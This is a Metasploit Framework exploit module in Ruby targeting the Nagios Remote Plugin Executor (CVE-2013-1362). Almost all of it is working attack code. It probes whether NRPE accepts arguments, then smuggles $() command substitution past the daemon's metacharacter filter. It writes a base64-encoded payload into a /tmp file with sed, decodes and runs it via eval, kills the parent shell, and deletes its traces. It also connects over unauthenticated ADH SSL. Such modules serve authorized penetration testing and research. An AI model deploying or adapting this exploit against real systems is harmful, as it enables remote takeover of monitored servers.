Metasploit: Nagios Remote Plugin Executor Arbitrary Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
#

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
      'Description' => %q{
          The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
        Nagios server to actively poll information from the hosts it monitors. NRPE
        has a configuration option dont_blame_nrpe which enables command-line arguments
        to be provided remote plugins. When this option is enabled, even when NRPE makes
        an effort to sanitize arguments to prevent command execution, it is possible to
        execute arbitrary commands.
      },
      'Author'      =>
        [
          'Rudolph Pereir', # Vulnerability discovery
          'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
        ],
      'References'  =>
        [
          [ 'CVE', '2013-1362' ],
          [ 'OSVDB', '90582'],
          [ 'BID', '58142'],
          [ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
        ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Payload'     =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl python ruby bash telnet',
              # *_perl, *_python and *_ruby work if they are installed
            }
        },
      'Targets'     =>
        [
          [ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 21 2013'
    ))

    register_options(
      [
        Opt::RPORT(5666),
        OptEnum.new('NRPECMD', [
          true,
          "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
          'check_procs',
          ['check_procs', 'check_users', 'check_load', 'check_disk']
        ]),
        # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
        OptBool.new('NRPESSL', [ true,  "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
      ], self.class)
  end

  def send_message(message)
    packet = [
      2,       # packet version
      1,       # packet type, 1 => query packet
      0,       # checksum, to be added later
      0,       # result code, discarded for query packet
      message, # the command and arguments
      0        # padding
    ]
    packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
    begin
      self.sock.put(packet.pack("nnNna1024n")) #send the packet
      res = self.sock.get_once # get the response
    rescue ::EOFError => eof
      res = ""
    end

    return res.unpack("nnNnA1024n")[4] unless res.nil?
  end

  def setup
    @ssl_socket = nil
    @force_ssl = false
    super
  end

  def exploit

    if check != Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
    end

    stage = "setsid nohup #{payload.encoded} & "
    stage = Rex::Text.encode_base64(stage)
    # NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
    command = datastore['NRPECMD']
    command << "!"
    command << "$($(rm -f /tmp/$$)"   # Delete the file if it exists
    # need a way to write to a file without using redirection (>)
    # cant count on perl being on all linux hosts, use GNU Sed
    # TODO: Probably a better way to do this, some hosts may not have a /tmp
    command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
    command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
    command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
    command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
    command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
    command << "$(rm -f /tmp/$$))" # clean the file with the stage
    connect
    print_status("Sending request...")
    send_message(command)
    disconnect
  end

  def check
    print_status("Checking if remote NRPE supports command line arguments")

    begin
      # send query asking to run "fake_check" command with command substitution in arguments
      connect
      res = send_message("__fake_check!$()")
      # if nrpe is configured to support arguments and is not patched to add $() to
      # NASTY_META_CHARS then the service will return:
      #  NRPE: Command '__fake_check' not defined
      if res =~ /not defined/
        return Exploit::CheckCode::Vulnerable
      end
    # Otherwise the service will close the connection if it is configured to disable arguments
    rescue EOFError => eof
      return Exploit::CheckCode::Safe
    rescue Errno::ECONNRESET => reset
      unless datastore['NRPESSL'] or @force_ssl
        print_status("Retrying with ADH SSL")
        @force_ssl = true
        retry
      end
      return Exploit::CheckCode::Safe
    rescue => e
      return Exploit::CheckCode::Unknown
    end
    # TODO: patched version appears to go here
    return Exploit::CheckCode::Unknown

  end

  # NRPE uses unauthenticated Annonymous-Diffie-Hellman

  # setting the global SSL => true will break as we would be overlaying
  # an SSLSocket on another SSLSocket which hasnt completed its handshake
  def connect(global = true, opts={})

    self.sock = super(global, opts)

    if datastore['NRPESSL'] or @force_ssl
      ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
      ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
      ctx.ciphers = "ADH"

      @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)

      @ssl_socket.connect

      self.sock.extend(Rex::Socket::SslTcp)
      self.sock.sslsock = @ssl_socket
      self.sock.sslctx  = ctx
    end

    return self.sock
  end

  def disconnect
    @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
    super
  end

end